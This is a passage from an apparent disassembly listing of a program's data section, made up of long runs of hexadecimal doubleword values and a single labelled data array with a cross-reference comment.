		dd 0F8344BAFh, 0F38600DBh, 0D5C514BCh, 79F0CBC7h, 1EE5AF12h
		dd 95C4B040h, 1FB77B5h,	5A8C20C9h, 606E3461h, 0ACFC9B5Ch
		dd 0EFC7A8C4h, 49C9B700h, 949CA2Fh, 95A400DCh, 0F74E6C7Fh
		dd 525D0F40h, 0F2AE3F45h, 0D336B020h, 0F419180Eh, 98A0C4BFh
		dd 0E887D425h, 0E99CCF49h, 0CC0588A9h, 180088C8h, 754C5B00h
		dd 0CA1D74F0h, 52B10349h, 0FF288147h, 0F4FAE826h, 67C5314h
		dd 0B8A287F2h, 700B0A18h, 9087EC2h, 0CA25933h, 0E4D49181h
		dd 89F62A00h, 31AFC6D4h, 7078E6B5h, 0BDAC6021h,	87F1EE01h
		dd 2E331832h, 0AFF2F9CBh, 2C987ECFh, 9CC02370h,	558077DFh
		dd 5AAC93D7h, 130EC8Dh,	5B34D34Ah, 1081060Dh, 2181DDC8h
		dd 2BDC427Ch, 0AAE8EC66h, 0FE598B80h, 0D8AB1FC8h, 818C8A9Ah
		dd 21CB0908h, 2722F403h, 0BCC1E8B2h, 0F9470146h, 0A4403433h
		dd 0C068D366h, 0FAC7D040h, 345AF60Ch, 84D13184h, 44381828h
		dd 8BD41C58h, 0D0948895h, 9B44DB8h, 214B032h, 0F9A66DCh
		dd 95F5FF65h, 83240058h, 338CFB69h, 6056F46Ch, 0AFC53CEEh
		dd 87E1C0F6h, 0F7AAFB0Bh, 0D247CA15h, 0C30C4C5Ch, 0B4017318h
		dd 0E19E78D3h, 584299C7h, 807F125Eh, 93AEFA18h,	23CA025Ah
		dd 0DAFD672Ch, 0D0C4F485h, 11AF3220h, 0C3C9C04h, 1480D45Eh
		dd 79C7E018h, 0F3581D17h, 0F41170AFh, 0A4AEECCCh, 0CA806974h
		dd 99BFC87h, 4401AFC7h,	0F0F38001h, 0BD09D06Bh,	0BFECA00h
		dd 0DAE76CFh, 0C848002Dh, 0B87AF0D0h, 9340E7F3h, 9F2C00EAh
		dd 0BDCA1155h, 262681E5h, 8D805803h, 0ECC114DDh, 5B770C01h
		dd 0E1E91FC9h, 49202358h, 9C2E0A14h, 3EC0BCDAh,	0E43834D7h
		dd 0F2FD2C86h, 880B414Ch, 2C6868D0h, 810658F8h,	0FF706B52h
		dd 798432h, 479A3987h, 0EDC4E3F6h, 4F947048h, 0A473900Eh
		dd 3D81C964h, 0D871ACF4h, 0B3E0CC0Dh, 5A5D4CC6h, 1D302E00h
		dd 0ADC316BDh, 8890D603h, 0A8F95AC5h, 0EF815B0Eh, 241E1C20h
		dd 4EDC858Ch, 231C2177h, 888C319Ah, 0B0C68h, 8D1D3718h
		dd 94EC4C67h, 87F37912h, 486F4497h, 9E220AA4h, 0E2C74390h
		dd 0D4366487h, 1881C90h, 0A082D7CEh, 8B904CFCh,	3B5A8D07h
		dd 5043E65Ch, 25A03C3Eh, 1F17513Dh, 67805B1h, 0ECD49036h
		dd 40913319h, 60294C24h, 266AC001h, 0C08EA492h,	478BB494h
		dd 3F550C01h, 2E783052h, 0B99A3631h, 0A4541E04h, 815DEC03h
		dd 28B100A4h, 7687CB14h, 500EC118h, 0CE64BD9Ah,	5F8AE469h
		dd 2902E080h, 84E0EC3h,	66416020h, 0EC7DC4FEh, 2D786FBFh
		dd 210567F8h, 51D8820Bh, 8E5A1C80h, 99C8C031h, 0B00DBC46h
		dd 90900330h, 60348162h, 212C805Ah, 83F6846Ch, 1993ED02h
		dd 48FFF3D1h, 0A45D1860h, 784D4C80h, 614FCD18h,	208291DBh
		dd 0FABC3F0Ch, 611896ACh, 230F8CF4h, 0DAEB10B0h, 5BECD90Ch
		dd 0AE49AF40h, 0C52572B0h, 987898D8h, 8D10C8DBh, 981A603h
		dd 529792BFh, 9CB0ACh, 0BB76AC2h, 2D96D879h, 986F3117h
		dd 0DA998801h, 61D4778Ah, 59941625h, 789E185Bh,	0F10AD4C7h
		dd 0F83BF35Ah, 2CD81F99h, 18873824h, 8B69DF8h, 0A400689Bh
		dd 2E347D8Bh, 4F5B13DDh, 95548449h, 0D134609Ch,	0B60091DFh
		dd 47D9AE73h, 76B85Ah, 0C2B482D6h, 3EE7867Fh, 0E6143200h
		dd 78C1F91h, 12C09292h,	26F74871h, 7200E134h, 6644DA79h
		dd 9540D9F0h, 87B8E888h
		dd 159542Fh, 0DC0147ADh, 63265780h, 28305A81h, 3FCCCFCDh
		dd 173A5469h, 0D32548C9h, 18513000h, 137A2C28h,	0A3B28805h
		dd 0CC20EF7h, 0AF50406Eh, 82E1F99Ah, 0F4C30844h, 0F42909B1h
		dd 6C00013Bh, 0C3174A98h, 75E23101h, 0B62EEC20h, 0B4C4F0h
		dd 0D051C619h, 0CB80291Ah, 4C80124Dh, 28744134h, 0E96717D4h
		dd 8C127813h, 9DEC38C8h, 582A180Bh, 85006A2Ch, 0C3EA7Eh
		dd 1D2FED24h, 0DE000512h, 7224CD47h, 14993618h,	8F54863h
		dd 457C904Ch, 622C318Ch, 2FC09E4h, 9BC4662Fh, 3D80065Ch
		dd 0E480C025h, 0AC04A7CEh, 1101F41Ch, 8A3560D0h, 6CA2488Eh
		dd 7F0ADF21h, 5C64E8B4h, 75E858E4h, 41289CFAh, 8042F280h
		dd 69BE7260h, 7017D99Dh, 0AFC40DF1h, 20504888h,	0DA0690C4h
		dd 646E800Dh, 899A0930h, 0C78BEF4h, 0EE425600h,	0AF5AA6A1h
		dd 0D0C9C018h, 597B9B69h, 4836990Ah, 0F00508F8h, 8845335Ah
		dd 8C30A23h, 4CF3C425h,	206FE419h, 50126ACBh, 602884CDh
		dd 0B09FF317h, 5D7C1A60h, 7783CB03h, 2E47AFh, 8E0F09B8h
		dd 44F17163h, 98B8E37Bh, 0A1179635h, 94807C64h,	6F21DC0h
		dd 2B812F94h, 0CD0C88EFh, 28DF78AFh, 4F60BA09h,	0C9344465h
		dd 0F514D175h, 888404BCh, 6CC1F009h, 43D912BCh,	9FC524Dh
		dd 8522EDCh, 56C085A0h,	1279DE75h, 0F2DD30C0h, 789360B4h
		dd 60E0F89Ch, 0A94C18F1h, 614CF846h, 858A0110h,	2F30AFEEh
		dd 0AA8F0AEh, 256CCF47h, 62C11811h, 8C1E2184h, 0CBD867C0h
		dd 0F40BC8D2h, 0EF7080FCh, 0C04CB5D9h, 5ABC2FB1h, 60928767h
		dd 0A440CE4Ah, 2F3B70EAh, 27FBE89Ch, 498F32Eh, 96546A66h
		dd 0C9886590h, 19F2124Fh, 49782239h, 8480F804h,	96106281h
		dd 0CDF700F4h, 709EA2FEh, 1E34C903h, 0D0C65771h, 0A8C7B8F3h
		dd 9C4854DCh, 341A4084h, 2C9691CBh, 8BFF4B08h, 80295A81h
		dd 0D0082800h, 680FD55Eh, 0A2A8D9E8h, 0C01E9C03h, 32CE93CCh
		dd 0B730A42Ch, 0E1337881h, 8B88BA03h, 0A18D97B0h, 865B8890h
		dd 0D2F068C6h, 99CB03F1h, 0BD4F81EAh, 8AF3F017h, 5B8D2820h
		dd 96AF7B76h, 65842ED4h, 0F31444F2h, 0AEE08862h, 86A27490h
		dd 0A5C9D403h, 69CC3DC1h, 15A0C00h, 502C8059h, 2E18EC96h
		dd 102CF25Fh, 3E251467h, 1EF70588h, 0F007A4BBh,	8632D7F4h
		dd 32C5ACEh, 0C20F5324h, 8FA0309Dh, 9F66165Bh, 5138BD40h
		dd 1081C05Ah, 68EDF4F7h, 0B8E02EDBh, 82CB1DB0h,	995ECA76h
		dd 95D48B8Ch, 0E5148800h, 21243929h, 5A01F069h,	9DAF06D1h
		dd 40A094D7h, 80637522h, 7E496B66h, 0BB4D1018h,	86307124h
		dd 880F55CAh, 8BA03320h, 10C05880h, 0C0D50E74h,	0A7E3D860h
		dd 412C2D81h, 183CFC25h, 0FB10C4D1h, 196800B8h,	0F77EAA34h
		dd 0F604482Bh, 2C82F06Ch, 0F007A8C3h, 0F8478DE3h, 63C60037h
		dd 0B0449967h, 0DCA02145h, 36009CB6h, 0C4EA5C2Dh, 27814B79h
		dd 1C08FB39h, 0D9EB00B0h, 773E54DFh, 13F4210Bh,	883C1A94h
		dd 614FFCD4h, 2FEEF04Fh, 0FF817868h, 708BF4F6h,	1B809E64h
		dd 0F3CB0C35h, 0E748F021h, 494B2907h, 25B08AFBh, 0EBEBD8E2h
		dd 2080D2D1h, 2214698h,	0CD75DA6Dh, 5A476896h, 38D22B35h
		dd 40C482F5h, 65200001h, 453C2881h, 40325A0Bh, 0B8E88891h
		dd 40BDD542h, 24F46234h, 824C65A0h, 4024B05Bh, 1A929087h
		dd 42911684h, 9A81643Ch, 2E0080D6h, 74697B9Eh, 0D1F80047h
		dd 0EA71BFDCh, 4E77EE2Bh, 0BD983Dh, 0EFD06419h,	41B00E4Ch
		dd 0C5049Fh, 59DB5CDCh,	0C41D17B2h, 8A9FE1E5h, 5352003Fh
		dd 0D9C7BB10h, 9D7201F1h, 0FF385660h, 0BD5930F5h, 0A4F26838h
		dd 6C48B48Dh, 0E2602F49h, 0E65998D9h, 12C54FD0h, 888C109Ch
		dd 0A5A77285h, 93E08598h, 60E3F37Eh, 81FAF884h,	3388F2B8h
		dd 4E5A2004h, 3700C078h, 0BA1D1CDCh, 0D0AE2028h, 0EC667D00h
		dd 0FC5B0527h, 1790C1A9h, 63E630F4h, 0ED5A0058h, 0E56F7F2Eh
		dd 0F9AF72ADh, 6D33C040h, 5452F0CCh, 57BC838h, 81DDBCCAh
		dd 0F248F060h, 0A5E6B300h, 803C4567h, 0CD4F13CFh, 8CDC1723h
		dd 9659FA10h, 622014D0h, 400534E4h, 5C5898h, 0B32D9452h
		dd 64999B02h, 4F5D1902h, 7096091Dh, 8355004h, 58DD59AFh
		dd 0F18B3F02h, 8C089B5h, 0AB0F8013h, 0AD1C7B4h,	1E050861h
		dd 0CCC525Dh, 4F689254h, 0BDCD084h, 0AF27D08Ch,	4F1881AEh
		dd 0BECC3719h, 0ECF0F764h, 0BC4C99A4h, 10A57499h, 285DC060h
		dd 0CFC89800h, 0A473D947h, 8F8000F0h, 9CF18848h, 0B059715Ah
		dd 0D3F80004h, 8026F583h, 236896DAh, 1AF309ECh,	9A5D8E3h
		dd 0F8240EA4h, 5A1C9069h, 43173450h, 430BC13Eh,	0A37E33h
		dd 0CC036902h, 0F500A8B1h, 59FA3836h, 0EC997249h, 9ADC9052h
		dd 39182EACh, 55AF471Ch, 0C8A40008h, 88EB7B12h,	2B601900h
		dd 87E78124h, 0C19D0BF9h, 0D8584FAFh, 163C014Ch, 10C1921Eh
		dd 4093344Dh, 4A7C0063h, 0EE5B7193h, 0D8F1AD60h, 8E6A92Eh
		dd 5F06800Fh, 9696A21Ch, 0C336B04Bh, 0EBD807B0h, 6FE4FD3Fh
		dd 65408F4Dh, 181C2634h, 0C55460C8h, 4DC99C9h
dword_4E414C	dd 0D0FBAD5Ah, 84801E50h, 0B8AC4254h, 0EFE19600h, 467A8BE5h
					; DATA XREF: ___:off_43A870o
		dd 0EEBD2C2Ch, 222401E0h, 21139C70h, 8D042074h,	69C5F100h
		dd 0F4203FC9h, 3C7F67Ah, 0B04F8E0Ah, 0A8783663h, 20D86C31h
		dd 10839EFAh, 2ECAFCFDh, 0E2E48481h, 0EC0C60F2h, 0C877BC5Ah
		dd 56611220h, 3A40AAEAh, 89091BB1h, 8B331DFAh, 111C5BF3h
		dd 25F8C9B1h, 5DD82000h, 80A0975Ah, 674D3080h, 70B599D8h
		dd 1CAF125h, 45D05A14h,	9A846880h, 0DC2FA79Dh, 3900ACB6h
		dd 8C14A6D1h, 8A8E015Eh, 0B6731D5Ch, 0CDA2C068h, 9C09B1D6h
		dd 384F257h, 33524476h,	0E9E8C77Dh, 0E8002EC8h,	6A1CC5E2h
		dd 0C9146B81h, 1446CB88h, 5EC98022h, 0F3FC4976h, 2C61BC4Ah
		dd 80A10489h, 819C7DF4h, 805C2C18h, 0A9AF2DFBh,	236413DDh
		dd 1B98D07Eh, 0F3247D94h, 0B49948Bh, 7EDCC4CCh,	0B25B2ABBh
		dd 3F50C59Ch, 14C08110h, 2C718822h, 351700E0h, 9691F461h
		dd 4DC081DDh, 477F0144h, 40281FFAh, 69C90B3Ch, 18D004C0h
		dd 85F5F425h, 3C0A5514h, 1F12A472h, 67815480h, 0F98CA20Ch
		dd 0F708893Ch, 9981E0A1h, 0DAE834F6h, 3E547E82h, 0EC589415h
		dd 0ED369E00h, 183077C2h, 1635633Eh, 204ACB5Fh,	0FFC0B8CCh
		dd 0BC0B2E04h, 0B2818734h, 0B5008839h, 179AFFA0h, 0F38E0C0Ch
		dd 8C11A18Dh, 0E58A5F00h, 4DCFDE3Fh, 624CB047h,	42E740EAh
		dd 0C10CC309h, 10836E1Ah, 0C495B472h, 8BF87195h, 8B7478E6h
		dd 271802ECh, 59C20F2Ah, 16C0036Dh, 354A805Bh, 2E4C3058h
		dd 0A8E84DF8h, 0C1AF050h, 0E9E58163h, 271C2F50h, 8380FA86h
		dd 105A9BFFh, 0AB602EF4h, 0B8F36180h, 3C026E4h,	93CB5E1Bh
		dd 69502CCCh, 89B0386Eh, 703B7278h, 5E16C403h, 0A02C9D4Fh
		dd 17EADE18h, 4D7980Bh,	0D444B0h, 5E23C5ECh, 0F8C70053h
		dd 0A9F31635h, 1E0712DFh, 0AE5B8C1Ch, 0C2FCC07Eh, 3E98F07Fh
		dd 890031FBh, 0FDAB0EE1h, 0B800A7F2h, 0CBE633BBh, 12167879h
		dd 4092A4F4h, 62214580h, 112D1757h, 4D7A507Fh, 92121472h
		dd 0B3ACC1C4h, 0B30BBBCh, 2109EA96h, 0D2D173A0h, 72121C73h
		dd 0EB8CA0E3h, 810584BCh, 0DC160970h, 31F0484Bh, 43C161B4h
		dd 1CAC562Ah, 3E080CD0h, 0A7255A10h, 0AF049837h, 38C7656Bh
		dd 84EC8870h, 75749286h, 46CB9FCh, 9D317F3h, 7E4C85F4h
		dd 0FCA4280Ah, 0A6DE6308h, 0ED4F0700h, 738370EBh, 100459Eh
		dd 0CBA7858Ch, 3F31392h, 0FAF75FB3h, 1DE08BE6h,	0F2F05EE5h
		dd 490E2FB8h, 0ABF3FE6Eh, 58546008h, 0A08E6417h, 306C804Fh
		dd 0C03C2CB4h, 0F70300B3h, 601A29A6h, 0F38700A4h, 0DABDB99Ch
		dd 0E21E8AA5h, 0CB00BBD8h, 0CA719AD6h, 0FF513D5Bh, 5ADE4983h
		dd 0C809642Ah, 7841F41Dh, 28E77CECh, 7CACFC37h,	0F97E310Eh
		dd 347DCA18h, 0B51F0D08h, 0F2129709h, 982AF85Dh, 0D89808D3h
		dd 0E70084D0h, 1FCA1DC2h, 148FBAh, 2F226918h, 5A0DA4F5h
		dd 0C9005971h, 1B35878Bh, 4FB4325h, 0EB8169BFh,	0B200D22Fh
		dd 0B860BC66h, 2EC2EC99h, 34F70525h, 85816430h,	3E1447F6h
		dd 1ED8B027h, 489EA971h, 0A2E08E8Bh, 0FF8FD98h,	6A420F48h
		dd 62685ECCh, 0CC408DCBh, 2281C0B4h, 6601820h, 4FB05821h
		dd 3B143886h, 0A180FD82h, 207CDAE7h, 9280C4Ch, 64F253E8h
		dd 59C53A1Ah, 0EE250C66h, 6A744802h, 0F4C682BDh, 69B4F200h
		dd 0BCA84D2h, 8CF31A75h, 0B461116Ah, 371C2420h,	42B1B013h
		dd 6E635C40h, 0EEF0951Ch, 357931AFh, 0E41EC218h, 0E0023414h
		dd 0E68947A6h, 60E8E09Ah, 0F8502B1h, 0D0483698h, 20800888h
		dd 37AF1854h, 215FC8CBh, 0F8485729h, 0E05AED85h, 2C72F0B0h
		dd 1C04F437h, 0FFF20E70h, 0BA8C218Ah, 5400385Dh, 0E2DAC8ACh
		dd 70FBBF2h, 0A0334ECAh, 5C01A9B3h, 64C2C81h, 0BAAFE144h
		dd 70402AF2h, 8F515DB3h, 9B92255Bh, 837904E8h, 1F2DD43Ch
		dd 0EEBCB033h, 2AC03E31h, 24CF026Ah, 5EC83EF4h,	38180900h
		dd 5B8A0AEEh, 90994Bh, 0B12CBB27h, 0F3E38080h, 0A153AFC8h
		dd 196250C3h, 1E34935Dh, 14DDC77Ah, 744D0835h, 0F41BCB02h
		dd 0F505C09Eh, 420D8C5h, 80CE3F72h, 88BA5C80h, 7396A204h
		dd 6CB29E9Ah, 2389126h,	0F37A9418h, 82809C59h, 0BB1F4D76h
		dd 0BFAF18CDh, 0F091893h, 0CB30B278h, 215C1084h, 0F41C1754h
		dd 4F2CC22Bh, 529DFCC6h, 70AF184Ch, 0EC5A30B2h,	0F77C49F0h
		dd 0A760A297h, 7E078C1h, 0EB0CDEB3h, 92F965DDh,	60D1185Ch
		dd 805C4D3Bh, 4A1E91D9h, 8C2500B0h, 0AEEB778Fh,	1C04C3E5h
		dd 6EE717C9h, 0B9FAF780h, 0CD722793h, 0F44CA042h, 475A8B00h
		dd 0C906CBF5h, 23C83D1Bh, 200C9680h, 91142461h,	2DAFD117h
		dd 0D099B082h, 9B2C27E8h, 5DD4CC02h, 0E009EA05h, 1EA870DFh
		dd 0CCF833Bh, 671024C5h, 0B0432105h, 3C12D5E7h,	4F91B488h
		dd 3D480AAh, 58BA2781h,	9B7DC174h, 62CCD101h, 55310DC5h
		dd 189C9EECh, 0E87C364Ah, 34009857h, 0CC60593Ah, 0B9B8E8Bh
		dd 0A353281Fh, 6F81BC81h, 78723Dh, 0C7E8E20Ah, 1FB25F8Bh
		dd 3B98FAEEh, 20FCC80h,	5B953416h, 90C4657Eh, 88B41751h
		dd 0D63113A2h, 0A708528Fh, 0FCC844E0h, 76AD5901h, 0EAFA7325h
		dd 41C44024h, 7E7C6050h, 2CA4D756h, 55017094h, 0ED5AB852h
		dd 8C8028AFh, 2898D860h, 0CF2C8AB8h, 0F540D40Ah, 661AC4h
		dd 3E7EC1EAh, 93E37ADCh, 0E95B5A13h, 0BD54F0h, 0A25519E5h
		dd 47DB7B14h, 794FFE0Ch, 402390B8h, 0CB5E7028h,	0F6215404h
		dd 9CF54A02h, 0FC263C51h, 0CA9868ADh, 1F0300EFh, 7F8C2041h
		dd 9201E2E4h, 0F39E68B4h, 2883FCC6h, 5DDF5AF0h,	834D8825h
		dd 4B3E6BCh, 89F41910h,	4F188063h, 28177B4Ch, 64046D97h
		dd 8E0079B9h, 0BB0F4E42h, 2EAFD013h, 7D13ECB0h,	202C980Eh
		dd 4B005C9Ch, 2FC11941h, 62F39D68h, 29E7414Ah, 17206866h
		dd 770101ABh, 800EB633h, 84002E1Ah, 5287212Fh, 45AF107Bh
		dd 5D92003Fh, 0E963B4FAh, 13B778F9h, 0E7D2FCA3h, 0E0C03A60h
		dd 5AEB6630h, 0E04E60FCh, 87FA187Fh, 690001F0h,	56F447B3h
		dd 0FA2D20B9h, 60E85Bh,	8C0FB6AFh, 81C65189h, 0A35AFA0Bh
		dd 6BECAB9Ah, 0F26BB298h, 0B0FD2068h, 4A01D298h, 9456B35Ah
		dd 2468716Eh, 2490C32Eh, 4D50228Eh, 924F502Dh, 8D46550h
		dd 0E8597204h, 0C303B0B2h, 7BFBD426h, 8BCA5BE0h, 72C78907h
		dd 9331A631h, 3FF0F4h, 0CB764358h, 4096CF0Eh, 17D7D001h
		dd 8899DBCh, 0B3C04E5Dh, 3E0275D8h, 0FCA66801h,	9D847F3Ah
		dd 263CB998h, 0A0E9FCEBh, 52215ACCh, 9E099CCh, 0C089588Dh
		dd 0FE365C60h, 0D0415092h, 10183C28h, 0CAFB48F3h, 3E962C94h
		dd 1F743404h, 0D18ECD1Eh, 84F87050h, 64BFE20Bh,	4D800416h
		dd 0A15A0490h, 5030C7F3h, 27B8C2F1h, 17769040h,	0B4A94A28h
		dd 63B3ED00h, 0CA5C0C92h, 8FC30116h, 801423D4h,	70D05054h
		dd 7A5C938Bh, 0A4F40990h, 728810F7h, 4BF4B49Bh,	0AFCB64C8h
		dd 0A09FCC30h, 1B42CC9h, 6CB93556h, 0D85B8C26h,	9F0979CBh
		dd 278BA75Ah, 0F3D70C10h, 24C0D170h, 9ECBCD7h, 602039AFh
		dd 5260C165h, 94E4909Dh, 0C4AF2FC2h, 0A4952803h, 0D3553012h
		dd 0F3C08C5Ch, 29253687h, 60941626h, 1C8C9FDh, 709F69E4h
		dd 9681B42Ch, 823F343Dh, 9D4F9A40h, 766688D2h, 0C51C3Ch
		dd 593BA494h, 0F313CE55h, 9C00190Bh, 8B224C1Fh,	47490062h
		dd 2ED81AEDh, 0D75EF402h, 78C31C00h, 58C4C63h, 5AF2DEEEh
		dd 0C7C4E06Ah, 0F2C0995h
		dd 0A0201F04h, 1E78297Ch, 0D0AF94F9h, 0C49517AAh, 5D9A7C92h
		dd 0C1CE7C85h, 2ED5E018h, 6B92C420h, 95A213FAh,	8D5C98B4h
		dd 0F418461Ch, 0FB10DED8h, 0D5104D7h, 914DD080h, 0E542A210h
		dd 0F0282AE9h, 64503F5Ah, 0D6F0511Eh, 0B60E483h, 2ECF7F05h
		dd 14B2FD05h, 0FB3E8500h, 903C2D38h, 0CD4FD100h, 0EA932F0h
		dd 782A01E8h, 0F79AB823h, 13783CD4h, 54C07AF3h,	50BF5AEEh
		dd 0F18903Ah, 54DD07C5h, 9968E240h, 0F5006A01h,	0D9EC0BB0h
		dd 0B198492Ch, 75300158h, 0E1B6F735h, 0BA5AD008h, 0F4493361h
		dd 0D842053Bh, 4AE85922h, 4CD829B8h, 0BC2CAF20h, 5D80F08Bh
		dd 9D3010B3h, 55E1205Ah, 81DBF604h, 8C170566h, 5AFCFD44h
		dd 98012BF9h, 0C6A6F416h, 0C91D5510h, 0DD79D700h, 3A2AE977h
		dd 9064781Ah, 0CCBC5D7Ch, 0C708451h, 0B269305Ah, 0FAF3E4E9h
		dd 0A4969115h, 6954C0F0h, 24F8C26Ch, 8400A39Ah,	0E3B13AAFh
		dd 0C9721E64h, 56F9866h, 0EC91EE03h, 0C2004758h, 741DC42Ch
		dd 0FCD3AFB5h, 1E7C84F2h, 595AC80Ah, 0D0F0D8F2h, 8962A2F5h
		dd 7155D819h, 960CAE7Ch, 594E0202h, 0A479C418h,	701DAB0Dh
		dd 1C83EC57h, 21103D6Ah, 0E55B3B12h, 0DF06008h,	2E630888h
		dd 7C89270h, 433AA3A2h,	11A69C68h, 804BF325h, 33E250A4h
		dd 87A548C1h, 6A216402h, 0F4DC5CB0h, 5B79DB02h,	228741Ah
		dd 0D795F423h, 0C8703454h, 0AED4F61Ah, 391825B8h, 0CA833CE5h
		dd 53BEAADh, 3207AF30h,	96F0B872h, 57622044h, 4C5B2C00h
		dd 0F101EF28h, 2EEC9FEh, 0EC2075F3h, 0C6685F09h, 635990A8h
		dd 96AC90D8h, 0BAF60B0h, 6906F027h, 0DA522680h,	6513B786h
		dd 0A0D09BA3h, 2A55215Eh, 4E60CE48h, 1D18DC35h,	0E2F5CA02h
		dd 56EE0E56h, 0AE230B54h, 0F2006CECh, 8AE34EB5h, 604FF3F6h
		dd 5D1BA86Dh, 0B44A91CBh, 789C040Ch, 41C91263h,	4B04A7C6h
		dd 326F0829h, 0F8614D60h, 0F18441CDh, 9680388Eh, 962DC0E6h
		dd 0CC212001h, 0F087F085h, 0ABF29C01h, 421CE482h, 19791882h
		dd 3C7E1AC6h, 224EC800h, 79995E8Ch, 72CD0531h, 3868BB4h
		dd 7A645A08h, 0DFBC5805h, 45C66718h, 0B7AF1348h, 7D988037h
		dd 0D100E686h, 0DFBDBF13h, 0B560D081h, 49A60C87h, 0E6A584F9h
		dd 0C8ED001Ch, 0B3B49885h, 0E24EF434h, 5468E003h, 40A0A519h
		dd 69DA4029h, 0A89628B8h, 9100C0ACh, 197561A0h,	62D6093Bh
		dd 0D8BAD16Fh, 7470940Bh, 81DABD0Bh, 72C060EBh,	0C56701AEh
		dd 0D5CD3FC4h, 8B39F9D9h, 0A08FAFE8h, 0D08B33B0h, 325B7E23h
		dd 0C4C82162h, 0E7D922E0h, 3CF3CB0Ah, 0FB40D88Fh, 12825E2Bh
		dd 0E5D4D1AFh, 0CCE060ECh, 523C2112h, 338038C8h, 0C3506F63h
		dd 3CB066B0h, 19004A90h, 0B52D5964h, 1FD477Dh, 87689A06h
		dd 2A522481h, 420D1448h, 9800A8B4h, 248E2564h, 4960765Bh
		dd 0A440A8F0h, 2C7D58C9h, 5E864A79h, 4700A2A4h,	0C0B735D0h
		dd 0B7BE814Eh, 0A9309800h, 0B501A076h, 5AEDE9BDh, 90446D65h
		dd 0F38334B2h, 580FCC9Bh, 0C188498Eh, 60245A9Ch, 2933864h
		dd 0F3B9FA7Eh, 4860032Dh, 473F701Dh, 0AC720E01h, 23388062h
		dd 17F2750Bh, 2F366B4h,	54585114h, 0DE2DB482h, 7240645Eh
		dd 487B880Eh, 0BDE0C835h, 723E176Bh, 848702E4h,	40A2A9D6h
		dd 0F3F0D7D4h, 40C693C9h, 0C6F614h, 1812E1E4h, 0FE6AD05Dh
		dd 4850EF4Fh, 0CE471408h, 4A5E2714h, 0B4840884h, 340BD904h
		dd 0C581C8E8h, 555D8C23h, 1258E248h, 64A4C491h,	0B2E29C7h
		dd 875608A0h, 815F1700h, 595B8333h, 0CC5B9810h,	3094E98Ch
		dd 16647049h, 0EC5FAFCDh, 7E8A024Ch, 0D8EAB01Eh, 815C0CB0h
		dd 0D76866C4h, 14E8BCB0h, 5AF1C0A0h, 0B8C26BF0h, 0F8BB0EF9h
		dd 0A2FE1300h, 51C81CAh, 0EBBE00EFh, 6BC4B4EDh,	0BA9D8478h
		dd 60DCE140h, 0CCDC006Ah, 23EAE2EEh, 3F39C09h, 58C8E59h
		dd 3CE32FD8h, 5A41AD30h, 909F7956h, 2CAFC44Ch, 4AD8C54Bh
		dd 1C611CE4h, 0F313103h, 0F421009Dh, 84BF4931h,	1AF86904h
		dd 2FD483EFh, 4480205Eh, 0D23FBD5Bh, 1CCCD010h,	74B2E4F4h
		dd 724024BEh, 0C51F69BFh, 8C196670h, 18B1470Ch,	208E1E8Dh
		dd 39112462h, 5E186574h, 1C2D1CF9h, 45FF28E0h, 2BB5D374h
		dd 20E8E4F4h, 0CA4C104Ah, 81672530h, 0D94E81FCh, 0AF1230BEh
		dd 0F87C8465h, 94A4D630h, 2C05B51Ch, 0DFBCA4CEh, 0B89A5D02h
		dd 0A5BE75AFh, 44A98FA0h, 0A3A9C513h, 3C134E88h, 808328F0h
		dd 8112D0C4h, 603CEDD3h, 1BF42522h, 62965061h, 0F049D6C8h
		dd 2D340015h, 0A1A894F3h, 2C60D6CCh, 2B900005h,	68B99B5Ah
		dd 0C4B034C1h, 9F8DA400h, 7C80FE36h, 0D9FD0F0Bh, 0A4124C2Eh
		dd 34418D90h, 0F0B10C20h, 0C4829D3Fh, 2C40AFF1h, 108B16F3h
		dd 5F278731h, 0D82F6C49h, 0A83201A4h, 0D333170Ch, 0F427F85Ah
		dd 7FA2F317h, 3E54D4F4h, 0B00C91C3h, 4BF8AD34h,	3133193Eh
		dd 0D2EF9ECAh, 588A9841h, 67941D00h, 50C3FB2Ch,	0F250CC26h
		dd 0CE870893h, 791345F8h, 0C32BB804h, 0C2818880h, 2F98C7B8h
		dd 0CE51100Fh, 0B776EFh, 2BEA6334h, 0E41B00F6h,	95ED47B6h
		dd 2C0B35A9h, 417D5AE1h, 0C4337EACh, 75EC6010h,	0D588FC9Bh
		dd 381A0493h, 2EFCECCBh, 0A40B44F7h, 1250F3FAh,	17CCE02Dh
		dd 5D6439B7h, 0F294C82Eh, 0A30350F8h, 0F0F43776h, 0E9D0035Bh
		dd 633B7722h, 81F9BCC1h, 4B5E1938h, 0F3FC4F35h,	0DAD0031h
		dd 8B7AC1E8h, 0CB005658h, 87628C8Ah, 0EF19DEFh,	66189AB2h
		dd 0CA7D92A1h, 7058C046h, 65098C17h, 17196801h,	3C708E67h
		dd 0F84607EBh, 838C6FB6h, 3001E885h, 0EEBBF1A0h, 0F865A881h
		dd 4274F6C2h, 185467F3h, 1F579F04h, 0CA244C87h,	0FF6110C3h
		dd 0D08E8141h, 0AC4038A7h, 26843719h, 4004C91Ch, 3E256698h
		dd 0F7288C90h, 0F240A836h, 26AF2DC1h, 191B005h,	39B622B8h
		dd 2153D0D1h, 5202AC7Ah, 0AFBBB988h, 0E848D7C1h, 0CFE31B01h
		dd 213327A0h, 529C301Eh, 0EDEF0AC4h, 0FEC0D0FEh, 0AF28F7A9h
		dd 350A1CE9h, 8BC52D4h,	9C1D9507h, 0D280ACC4h, 0FE4A19h
		dd 0BBC9CF87h, 78FCE6CAh, 0D5002E73h, 8655B8Fh,	3A881A18h
		dd 73995AADh, 0CB4D48F0h, 138D800Fh, 0ACB17BB1h, 0C35180Eh
		dd 0A80F87Fh, 0F1198F86h, 55E60654h, 50E290B4h,	301F58F6h
		dd 610C6F9Eh, 4819FBh, 187EF3ACh, 812D6420h, 0FE103060h
		dd 0F0273E96h, 0A8E25AB3h, 6E861EC0h, 602F3138h, 7847BB84h
		dd 0CE8D8A83h, 21B900E0h, 0C5ECA6D1h, 41EBB215h, 0F03B2084h
		dd 0F3C6A96h, 0DE5600FCh, 0AFCF7113h, 0AE580EF3h, 886034F2h
		dd 1AD131BAh, 2E3B01F6h, 9740E159h, 98ED3D17h, 0E49656E8h
		dd 4318C03Ch, 0EAFED55Fh, 356CE102h, 8019BA71h,	58892D20h
		dd 9E9601BDh, 0FDAFE9B1h, 4E2080B7h, 0FEA625ECh, 45E61489h
		dd 6200C895h, 96E82F42h, 60C3CDF9h, 0B0161E18h,	2AE64DF4h
		dd 0EAF8AE80h, 6FFE128Ch, 5C144E23h, 0C0C1E683h, 0B448207Ah
		dd 0BBD10330h, 1E026F96h, 3D986B8h, 8BE9E684h, 23137014h
